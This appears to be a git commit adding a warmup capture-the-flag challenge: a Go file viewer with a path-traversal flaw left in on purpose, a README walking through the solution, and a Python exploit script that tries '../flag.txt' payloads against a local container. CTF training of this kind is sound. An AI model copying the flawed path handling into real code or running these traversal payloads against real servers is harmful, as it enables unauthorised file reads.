added warmup chall

This commit is contained in:
Rayhan Hanaputra
2025-10-25 04:56:33 +07:00
parent 4552bcb0fe
commit 604bd24b04
15 changed files with 360 additions and 6 deletions
+1 -1
View File
@@ -13,4 +13,4 @@ services:
- "13000:8000"
- "13022:22"
environment:
- FLAG=GEMASTIK{local_flag}
- FLAG=GEMASTIK18{local_flag}
+1 -1
View File
@@ -1 +1 @@
GEMASTIK{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
GEMASTIK18{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
+1 -1
View File
@@ -13,4 +13,4 @@ services:
- "12000:8000"
- "12022:22"
environment:
- FLAG=GEMASTIK{local_flag}
- FLAG=GEMASTIK18{local_flag}
File diff suppressed because one or more lines are too long
+73
View File
@@ -0,0 +1,73 @@
# File Viewer Challenge
## Description
A simple web challenge featuring a Local File Inclusion (LFI) vulnerability. Players need to exploit the file viewer functionality to read the flag located at `/flag.txt`.
## Challenge Overview
- Simple file viewer web application
- Players can view sample files through the `/view` endpoint
- The file parameter is vulnerable to path traversal
- The flag is located at `/flag.txt`
- **No flag validation** - players must exploit the vulnerability to read the flag
## Endpoints
- `/` - Main page with file viewer interface
- `/view?file=<filename>` - View files (vulnerable to LFI)
## Files Structure
- `/opt/challenge` - The compiled Go binary
- `/opt/index.html` - HTML template
- `/opt/main.go` - Source code (can be modified)
- `/opt/rebuild.sh` - Script to rebuild the challenge after patching
- `/opt/files/welcome.txt` - Sample file
- `/opt/files/info.txt` - Info about the file viewer
- `/opt/files/hint.txt` - Hint for the challenge
- `/flag.txt` - The flag file (target, read-only)
## Vulnerability
The `/view` endpoint uses `filepath.Join()` to concatenate the base directory with user input:
```go
filePath := filepath.Join("/opt/files/", filename)
```
This is vulnerable to path traversal attacks. Players can use `../` sequences to escape the `/opt/files/` directory and read arbitrary files on the system.
## Solution
1. Access the file viewer at http://localhost:14000
2. Notice the `/view?file=welcome.txt` endpoint
3. Try path traversal: `/view?file=../flag.txt` (won't work - resolves to `/opt/flag.txt`)
4. Use more `../` sequences: `/view?file=../../flag.txt`
5. This resolves to `/opt/files/../../flag.txt` = `/flag.txt`
6. Read the flag
## Example Exploit
```bash
# Read the flag
curl http://localhost:14000/view?file=../../flag.txt
```
## Deployment
```bash
docker-compose up --build -d
```
## Access
- Web: http://localhost:14000
- SSH: ssh ctfuser@localhost -p 14022 (password: warmup123)
## Patching the Challenge
Players can patch the vulnerability by:
1. SSH into the container
2. Edit `/opt/main.go` to fix the LFI vulnerability
3. Run `/opt/rebuild.sh` to rebuild and restart the challenge
4. Test that the vulnerability is fixed
Example fix - add path validation:
```go
// Prevent path traversal
if strings.Contains(filename, "..") {
http.Error(w, "Invalid file path", http.StatusBadRequest)
return
}
```
+21
View File
@@ -0,0 +1,21 @@
services:
warmup:
container_name: warmup_container
hostname: warmup
restart: always
build:
context: .
args:
- PASSWORD=${PASSWORD_10000:-warmup123}
volumes:
- ../../receiver/flags/warmup.txt:/flag.txt:ro
- ../../utils/bashrc:/root/.bashrc:ro
- ../../utils/preexec.sh:/root/.preexec.sh:ro
ports:
- "14000:8080"
- "14022:22"
environment:
- PASSWORD=${PASSWORD_10000:-warmup123}
- FLAG_FILE=/flag.txt
extra_hosts:
- "host.docker.internal:host-gateway"
+53
View File
@@ -0,0 +1,53 @@
#!/usr/bin/env python3
"""
Exploit for Mango LFI Challenge
Demonstrates Local File Inclusion vulnerability to read /flag.txt
"""
import requests
import sys
def exploit_lfi(base_url):
"""
Exploit the LFI vulnerability to read /flag.txt
"""
print("[*] Mango LFI Exploit")
print(f"[*] Target: {base_url}")
# Try to read the flag using path traversal
payloads = [
"../flag.txt",
"../../flag.txt",
"../../../flag.txt",
"../../../../flag.txt"
]
for payload in payloads:
print(f"\n[*] Trying payload: {payload}")
try:
response = requests.get(f"{base_url}/view", params={"file": payload})
if response.status_code == 200 and "GEMASTIK18{" in response.text:
print(f"[+] SUCCESS! Flag found:")
print(f"[+] {response.text.strip()}")
# Verify the flag
flag = response.text.strip()
verify_response = requests.post(f"{base_url}/check", data={"flag": flag})
if "Correct" in verify_response.text:
print("[+] Flag verified successfully!")
return True
elif response.status_code == 200:
print(f"[!] File read successful, but no flag found:")
print(f" {response.text[:100]}...")
else:
print(f"[-] Failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
print("\n[-] Flag not found with any payload")
return False
if __name__ == "__main__":
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
exploit_lfi(base_url)
+1
View File
@@ -0,0 +1 @@
GEMASTIK18{PLACEHOLDER}
+15
View File
@@ -0,0 +1,15 @@
server {
listen 8080;
server_name _;
access_log /var/log/nginx/warmup_access.log;
error_log /var/log/nginx/warmup_error.log;
location / {
proxy_pass http://127.0.0.1:8081;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
+60
View File
@@ -0,0 +1,60 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Viewer</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
background: #f5f5f5;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.container {
background: white;
border-radius: 8px;
padding: 40px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
max-width: 500px;
width: 100%;
}
h1 { color: #333; font-weight: 600; margin-bottom: 10px; font-size: 1.8rem; }
.subtitle { color: #666; margin-bottom: 30px; font-size: 0.95rem; }
.file-section { border-top: 1px solid #eee; padding-top: 25px; margin-top: 25px; }
.file-title { color: #333; font-weight: 600; margin-bottom: 8px; font-size: 1rem; }
.file-description { color: #666; margin-bottom: 15px; font-size: 0.9rem; }
.file-links { display: flex; gap: 10px; flex-wrap: wrap; }
.file-link {
background: #f9f9f9;
color: #333;
text-decoration: none;
padding: 8px 16px;
border-radius: 4px;
font-size: 0.9rem;
transition: background 0.2s;
border: 1px solid #e0e0e0;
}
.file-link:hover { background: #e8e8e8; }
</style>
</head>
<body>
<div class="container">
<h1>File Viewer</h1>
<p class="subtitle">Simple file viewing application</p>
<div class="file-section">
<div class="file-title">Available Files</div>
<p class="file-description">View files from the collection</p>
<div class="file-links">
<a href="/view?file=welcome.txt" class="file-link">welcome.txt</a>
<a href="/view?file=info.txt" class="file-link">info.txt</a>
<a href="/view?file=hint.txt" class="file-link">hint.txt</a>
</div>
</div>
</div>
</body>
</html>
+54
View File
@@ -0,0 +1,54 @@
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"path/filepath"
)
// Vulnerable file viewing handler - LFI vulnerability
func viewHandler(w http.ResponseWriter, r *http.Request) {
// Get the file parameter
filename := r.URL.Query().Get("file")
// Default file if none specified
if filename == "" {
filename = "welcome.txt"
}
// Vulnerable: directly concatenating user input without proper validation
// This allows path traversal attacks
filePath := filepath.Join("/opt/files/", filename)
// Read the file
content, err := ioutil.ReadFile(filePath)
if err != nil {
http.Error(w, "File not found or cannot be read", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/plain")
w.Write(content)
}
func homeHandler(w http.ResponseWriter, r *http.Request) {
// Serve the HTML template
htmlContent, err := ioutil.ReadFile("/opt/index.html")
if err != nil {
http.Error(w, "Template not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/html")
w.Write(htmlContent)
}
func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/view", viewHandler)
fmt.Println("Starting server on :8081")
log.Fatal(http.ListenAndServe(":8081", nil))
}